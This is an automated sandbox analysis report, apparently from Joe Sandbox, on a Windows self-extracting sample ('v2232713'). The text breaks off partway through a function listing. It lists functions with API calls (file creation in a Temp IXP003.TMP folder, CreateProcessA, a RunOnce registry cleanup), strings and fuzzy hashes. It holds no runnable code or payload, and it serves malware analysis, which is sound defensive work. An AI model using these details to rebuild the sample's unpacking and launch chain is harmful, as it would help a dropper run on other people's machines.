Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: db25de86e2e76fb8116a3390de120fbd43ff2323f2f2814b6a57d653e45a5dcb
Instruction ID: 6061a4399080e285efea1eb4cc6b706ffce23774a177004d265bfe548883ce0d
Opcode Fuzzy Hash: db25de86e2e76fb8116a3390de120fbd43ff2323f2f2814b6a57d653e45a5dcb
Instruction Fuzzy Hash: 9341C471A44225EFEB3E9B69E8047697BE4BBC4720F14412AF951D728CCB744A81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 011358C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,01135534,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 011358E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,01135534,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 01135943
LocalFree.KERNEL32(00000000,?,01135534,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 0113594D
CloseHandle.KERNEL32(00000000,?,01135534,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 0113595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,01135534,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 01135963

Strings

TMP4351$.TMP, xrefs: 01135923
C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 011358CD, 011358CF, 01135919, 01135962

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\$TMP4351$.TMP
API String ID: 747627703-3228030758
Opcode ID: b45cda9b1fce064a5da1765ff68d521816cc4c5438f68b4e71b4d471305fd8d2
Instruction ID: 21004cc73234eab01f488f9de4f63041a63367e3840ceb3bf459ade4e98da43d
Opcode Fuzzy Hash: b45cda9b1fce064a5da1765ff68d521816cc4c5438f68b4e71b4d471305fd8d2
Instruction Fuzzy Hash: 0F11E6716002107BD73C5E7A6C4CA9BBE9EDFC6674B104629F596D318CDBB0984587A0

Uniqueness

Uniqueness Score: -1.00%

Function 01133FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 01134033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 01134049
GetExitCodeProcess.KERNELBASE ref: 0113405C
CloseHandle.KERNEL32(?), ref: 0113409C
CloseHandle.KERNEL32(?), ref: 011340A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 011340DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 011340E9

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 93360d7f1638bbf966136880d99d736d6f57add4e04c317b42f157ed6435c6a8
Instruction ID: 17ec49a5db271b9c4eda14d201662220578334c5c6bd271670d7c8b27f40c609
Opcode Fuzzy Hash: 93360d7f1638bbf966136880d99d736d6f57add4e04c317b42f157ed6435c6a8
Instruction Fuzzy Hash: 8331C031740218ABEB389B65EC48FABBB7CEBD4714F1001A9F555E259CC7709D81CB20

Uniqueness

Uniqueness Score: -1.00%

Function 011351E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346A0
Part of subcall function 0113468F: SizeofResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346A9
Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346C3
Part of subcall function 0113468F: LoadResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346CC
Part of subcall function 0113468F: LockResource.KERNEL32(00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346D3
Part of subcall function 0113468F: memcpy_s.MSVCRT ref: 011346E5
Part of subcall function 0113468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,01132F4D,?,00000002,00000000), ref: 01135201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 01135250

Part of subcall function 011344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01134518
Part of subcall function 011344B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 01134554

Part of subcall function 01136285: GetLastError.KERNEL32(01135BBC), ref: 01136285

Strings

UPROMPT, xrefs: 011351EF, 01135230
<None>, xrefs: 01135262

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 6fd14db7b2fd8adbd69e694dea172789bd090ba6540caebd7cc46532acfb69c8
Instruction ID: 94ece927c9496cd9b301bc439347173fffdbe3a7014ebc1547fd820257939c72
Opcode Fuzzy Hash: 6fd14db7b2fd8adbd69e694dea172789bd090ba6540caebd7cc46532acfb69c8
Instruction Fuzzy Hash: 5711E2B1200205FBE36D6A755848B3B659EEBD8B98B01403DB682E618CDBB888404224

Uniqueness

Uniqueness Score: -1.00%

Function 011352B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00AC8E58,00000080,?,00000000), ref: 011352F2
DeleteFileA.KERNELBASE(00AC8E58), ref: 011352FA
LocalFree.KERNEL32(00AC8E58,?,00000000), ref: 01135305
LocalFree.KERNEL32(00AC8E58), ref: 0113530C
SetCurrentDirectoryA.KERNELBASE(011311FC,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\), ref: 01135363

Strings

C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 01135334

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\
API String ID: 2833751637-2493987848
Opcode ID: 4d8cb2cceba4fe82d1f829290f28566b6b64f9e1ffc1c8ffa650409c0c849461
Instruction ID: 10988c2b4c117f0a9c0e99bc7167a873f411b977fc75c01f1bc4afcf035b8991
Opcode Fuzzy Hash: 4d8cb2cceba4fe82d1f829290f28566b6b64f9e1ffc1c8ffa650409c0c849461
Instruction Fuzzy Hash: 8821D531904218DFDB7DAB24E848BA97BB5BF94B18F040278E9A69318CCBF059C5DB40

Uniqueness

Uniqueness Score: -1.00%

Function 01131FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,0113538C,?,?,0113538C), ref: 01132005
RegDeleteValueA.KERNELBASE(0113538C,wextract_cleanup3,?,?,0113538C), ref: 01132017
RegCloseKey.ADVAPI32(0113538C,?,?,0113538C), ref: 01132020

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 01131FFB
wextract_cleanup3, xrefs: 01131FE7, 0113200F

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup3
API String ID: 849931509-2968168367
Opcode ID: bfbc436c6e825862d44eb1ec68b5ac49fd0d131e0916c17d821763d55935a7ee
Instruction ID: e81ff6f8579d5565bc9d15e57c5ad71de5f986f544eb3f9389cebfdae3e45bc2
Opcode Fuzzy Hash: bfbc436c6e825862d44eb1ec68b5ac49fd0d131e0916c17d821763d55935a7ee
Instruction Fuzzy Hash: 10E04F31550318BBE7399B91FD4AF59FB2AEB81640F1002A8BA54A109DE7B15A94D704

Uniqueness

Uniqueness Score: -1.00%

Function 01134CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 01134DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 01134DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 01134D36, 01134DE3

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\
API String ID: 3625706803-2493987848
Opcode ID: 1f8def1dcff2681d53beed51b61f8dbb9646213fd32a0e546d8aa071b65cc543
Instruction ID: 405393dd6482a3b68d7408d5ff8e8f1833e26af6eaeef03b4f67227b5a01f677
Opcode Fuzzy Hash: 1f8def1dcff2681d53beed51b61f8dbb9646213fd32a0e546d8aa071b65cc543
Instruction Fuzzy Hash: 5C4155362041028BDB3E9E3CD9486F97BA5FBE5344B044668D88697E8DDB31DA8AC750

Uniqueness

Uniqueness Score: -1.00%

Function 01134C37 Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 01134C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 01134C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 01134C7E

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 3b22c27b53bacc5aec543286cf9ad9f717cdf5a1237577bff0c09c2294b5ff8c
Instruction ID: 11a0259a943f5b4fc5734b664ec332198f4e6cc413ab60e013b036bad3378d78
Opcode Fuzzy Hash: 3b22c27b53bacc5aec543286cf9ad9f717cdf5a1237577bff0c09c2294b5ff8c
Instruction Fuzzy Hash: BAF06D72600209AAAB2CDFA8DC489BFBFEDEB54260744053AB955C2008EB30D554C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0113487A Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,01134A23,?,01134F67,*MEMCAB,00008000,00000180), ref: 011348DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,01134F67,*MEMCAB,00008000,00000180), ref: 01134902

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1ba90e06a81fffdaebe24b028a5d206ef301e9adfe9aefedb5405c10c3cabfe1
Instruction ID: 347991f9c44bac4ac66f4e7b6b268599f77ac7d54947f5383918ced2462eb96a
Opcode Fuzzy Hash: 1ba90e06a81fffdaebe24b028a5d206ef301e9adfe9aefedb5405c10c3cabfe1
Instruction Fuzzy Hash: 8F016DA3E1157026F32880695C88FB7551CCBDA634F1B0374BEEAE75C5E6644C0482E0

Uniqueness

Uniqueness Score: -1.00%

Function 01134AD0 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 01133680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0113369F
Part of subcall function 01133680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011336B2
Part of subcall function 01133680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011336DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 01134B05

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: fdbf6b3bb7087320a1cfa36bd341be016c9b33b1291c4914cb88ea6848583324
Instruction ID: 9a97a70dcc41080214e1dd5749bb346a0c49203fe789d51d5130222525580843
Opcode Fuzzy Hash: fdbf6b3bb7087320a1cfa36bd341be016c9b33b1291c4914cb88ea6848583324
Instruction Fuzzy Hash: DD01B531200205DBEB2C8F68EC05BA67B59FB84729F048235FA399B5DCC7709891CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0113658A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CharPrevA.USER32(01138B3E,01138B3F,00000001,01138B3E,-00000003,?,011360EC,01131140,?), ref: 011365BA

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 45fff7e100865ebbb82fc50bce086a7f82e40287e402ae209ff38bf6f1dd957c
Instruction ID: 34e3bc4638abfc8c47419fbd15f1ab7069cc83623280653ebfbc371b9c687c55
Opcode Fuzzy Hash: 45fff7e100865ebbb82fc50bce086a7f82e40287e402ae209ff38bf6f1dd957c
Instruction Fuzzy Hash: B1F042321042507BD73D051D9884B66BFDD9BD61D0F19017EE9DEC328DCB554E46C3A5

Uniqueness

Uniqueness Score: -1.00%

Function 0113621E Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0113623F

Part of subcall function 011344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01134518
Part of subcall function 011344B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 01134554

Part of subcall function 01136285: GetLastError.KERNEL32(01135BBC), ref: 01136285

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 7f3f1a0f339f2103c060b425ac17ce2bcf4bd59e048c6aa7fca705f60cddb109
Instruction ID: 3f1b6ed74b845f92c9c955361d6dc7924ccfc72a81078fd8b81abe4de750a9af
Opcode Fuzzy Hash: 7f3f1a0f339f2103c060b425ac17ce2bcf4bd59e048c6aa7fca705f60cddb109
Instruction Fuzzy Hash: 65F0BEB06002097BE768EB749D05BBA76A8DBA4704F41007AA98AD6089EFB49A80C750

Uniqueness

Uniqueness Score: -1.00%

Function 01134B60 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,01134FA1,00000000), ref: 01134B98

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 82df3a71393ed04635a632d9fcd2ebca643da6e5a07895ffedcf5bd100211aef
Instruction ID: 5150e7bd46f0a0a53b41c8e3a4b7237057c3ab7c80efc27b1f4f9ea3d1efbc49
Opcode Fuzzy Hash: 82df3a71393ed04635a632d9fcd2ebca643da6e5a07895ffedcf5bd100211aef
Instruction Fuzzy Hash: 89F0FE31500B0A9ED77D9F29980465EBBE6AEE52753500A2AB4AED215CD7306441CB90

Uniqueness

Uniqueness Score: -1.00%

Function 011366AE Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,01134777,?,01134E38,?), ref: 011366B1

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 708712d7fe6288be210417cd30bd3082b91d1af9d81f03b0b08951dc4f4db88d
Instruction ID: 4acca27e9169c8fb21682130bfda12994c9df52cb3ab8651ac8122f2a4031bd3
Opcode Fuzzy Hash: 708712d7fe6288be210417cd30bd3082b91d1af9d81f03b0b08951dc4f4db88d
Instruction Fuzzy Hash: 82B092B6222440526A29067678295562845AAC123A7E41BA0F032C21D8CB3EC586E104

Uniqueness

Uniqueness Score: -1.00%

Function 01134CA0 Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 01134CAA

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: e4b499f333dcb96051834893e10099d6cf20951bb9b5588f82df4c005f7d5905
Instruction ID: ce936b1d63bababce088a416d17b39382f99a159e7a97d988ecd97fa86f2e996
Opcode Fuzzy Hash: e4b499f333dcb96051834893e10099d6cf20951bb9b5588f82df4c005f7d5905
Instruction Fuzzy Hash: F7B0123204430CB7CF101EC2F809F857F1DEBC4761F140010F61C860448A7294508795

Uniqueness

Uniqueness Score: -1.00%

Function 01134CC0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE ref: 01134CC8

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 85ec277b643abffb2b3971b6102d08b89d4f47ba4b6263fe97141e35063086a8
Instruction ID: 2dd6e1dd961605957b971fca96826def0a291bbbd610a35f43d0d68b9c48a3cf
Opcode Fuzzy Hash: 85ec277b643abffb2b3971b6102d08b89d4f47ba4b6263fe97141e35063086a8
Instruction Fuzzy Hash: 0FB0123100010CB78F101A42F8088457F1DDAC02607000020F51C820158B3398518684

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01135C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?), ref: 01135CEE
GetModuleFileNameA.KERNEL32(01138B3E,00000104,00000000,?,?), ref: 01135DFC
CharUpperA.USER32(?), ref: 01135E3E
CharUpperA.USER32(-00000052), ref: 01135EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 01135F6F
CharUpperA.USER32(?), ref: 01135FA7
CharUpperA.USER32(-0000004E), ref: 01136008
CharUpperA.USER32(?), ref: 011360AA
CloseHandle.KERNEL32(00000000,01131140,00000000,00000040,00000000), ref: 011361F1
ExitProcess.KERNEL32 ref: 011361F8

Strings

", xrefs: 0113612D
", xrefs: 01135D78
RegServer, xrefs: 01135F66
:, xrefs: 01136118

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: fa3e09905c8d8cb8ade947a78ad8ea747d82048c18abd3e64009cac020877732
Instruction ID: 0a541bc8529e208c74d492125e76c5c45a96adbfde711730b2ed473d20804003
Opcode Fuzzy Hash: fa3e09905c8d8cb8ade947a78ad8ea747d82048c18abd3e64009cac020877732
Instruction Fuzzy Hash: 80D19B71A042556EEF7E8A3C88483B9BF67ABC6B04F0441B9C5D6D614DD7B08AC3CB11

Uniqueness

Uniqueness Score: -1.00%

Function 01131F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 01131EFB
OpenProcessToken.ADVAPI32(00000000), ref: 01131F02
